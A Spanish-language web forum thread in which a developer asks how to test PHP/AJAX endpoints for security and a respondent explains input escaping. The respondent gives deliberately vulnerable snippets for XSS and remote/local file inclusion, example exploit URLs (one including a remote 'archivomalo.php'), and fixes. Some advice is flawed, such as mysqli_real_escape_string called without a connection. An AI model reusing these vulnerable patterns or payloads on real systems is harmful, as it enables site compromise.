Explotar PHP

Iniciado por DoHITB, 6 Enero 2013, 20:42 PM

0 Miembros y 1 Visitante están viendo este tema.

DoHITB

Buenas!

Actualmente tengo abiertos varios proyectos con PHP/JS/AJAX, y me gustaría hacerles test de seguridad... pero ando un poco corto en este tipo de conocimientos...

Es decir, por poner un ejemplo:

Yo tengo una web que hace una llamada AJAX a un archivo "archivo.php". A este archivo le paso por GET:

- accion=**accion**
- datos=**datos**

Un ejemplo, sería:

archivo.php?accion=li&u=correo@correo.com&p=pass

Entonces, yo en archivo.php reviso los parámetros GET, para que no haya ninguno que no figure en la lista de posibles parámetros, los filtro para que no tengan caracteres extraños, etc...

Pero mi pregunta es: podría hacer algo para que me fallara igualmente?

No se si explico bien la clase de conocimientos que me faltan... espero que me podáis ayudar!

Saludos!

jdc

Mira ya que estas "apurado", haz lo siquiente:

Cada vez que declares una variable que recibe un parametro dado por el usuarioenglobala en mysqli real escape string y htmlspecialchars y listo, si tienes tiempo busca en Google para saber como funcionan ambas.

Por ejemplo, tienes:

Código (php) [Seleccionar]
<?php
$var 
$_GET['action'];
$var2 $_GET['datos'];

echo 
'La accion es: '.$var.' y los datos ingresados fueron: '.$var2
?>


Tendrias que dejarlo asi:

Código (php) [Seleccionar]
<?php
$var 
mysqli_real_escape_string(htmlspecialchars($_GET['action'], ENT_QUOTES));
$var2 mysqli_real_escape_string(htmlspecialchars($_GET['datos']));

echo 
'La accion es: '.$var.' y los datos ingresados fueron: '.$var2
?>

DoHITB

Buenas,

Gracias por la respuesta;

pero mi problema no reside exactamente ahí; está claro que se deben escapar los datos recibidos por GET y POST... mi duda es la siguiente:

Partiendo de algo así:

Código (php) [Seleccionar]

if($accion == "li"){
  //accion "li"
}else{
  //error
}


Si yo accedo como pagina.php?accion=algo me dará error, pero mi pregunta es:

¿Se puede hacer algo más para explotar esta estructura?

Es decir, supuestamente a esta página accedo desde AJAX, pero si la solicito con VB.net, cURL... puedo enviarle cualquier otra cosa... y ahí es donde quiero probar la seguridad de mi web.

Gracias.

jdc

Si la estructura es asi no ya que action no es variable, sino una constante. Al tener en el else un error proteges por defecto tu estructura.

DoHITB

Ok, gracias.

Pero, por ejemplo, si no escapara caracteres en el get, podría hacer que algo fuera mal si la estructura fuera así:


if($action == "li"){
//...
mysql_query("select....")//query usando datos de GET
}else{
//error
}


aún estando escapados los datos de GET, sigue siendo seguro?

Por "escapar" los datos GET, me refiero a:

- Cambiar caracteres peligrosos como comillas, caracteres de comentario...
- Cambiar caracteres de ciertas palabras por código html

jdc

Es que por ejemplo 'li' como te dije no es una variable, así que action no es vulnerable a absolutamente nada, ahora si después haces una consulta tipo select * from tabla where campo = $variable, te toca limpiar esa $variable

DoHITB

Vale, entonces es como yo pensaba más o menos... aunque creía que si eras un "gurú" del PHP haría falta mucha seguridad para este tipo de bloques...

No obstante, supongo que puedo buscar vulnerabilidades en mis proyectos por otras partes... Me recomendarías algún patrón a buscar o algo similar?

Gracias!

jdc

Mira, te doy 2 ejemplos vulnerables para que lo entiendas mejor mejor:

1) Esto seria vulnerable a XSS:

Código (php) [Seleccionar]

<?php
$action $_GET['action'];
echo 'Bienvenido a la sección: '.$action;
?>



Aqui si pones por ejemplo lo siguiente para explotar la vulnerabilidad

tudominio.com/index.php?action=hola<h1>esto es codigo html inyectado</h1>

Y se corrige con:

Código (php) [Seleccionar]

<?php
$action htmlspecialchars($_GET['action'], ENT_QUOTES);
echo 'Bienvenido a la sección: '.$action;
?>



2)Esto seria vulnerable a RFI y LFI:

Código (php) [Seleccionar]

<?php
$section $_GET['section'];
include($section);
?>



Aqui si pones por ejemplo lo siguiente para explotar la vulnerabilidad

tudominio.com/index.php?action=http://otrodominio.com/archivomalo.php

Ojo que la solución para esto puede ser tan simple como poner en la variable una extension y un directorio tipo include ('includes/'.$section.'.php') tambien debes tener cuidado en los caracteres que permites en la variable, por ejemplo a veces pueden saltarse la extension con un byte nulo por ejemplo asi que cuidado.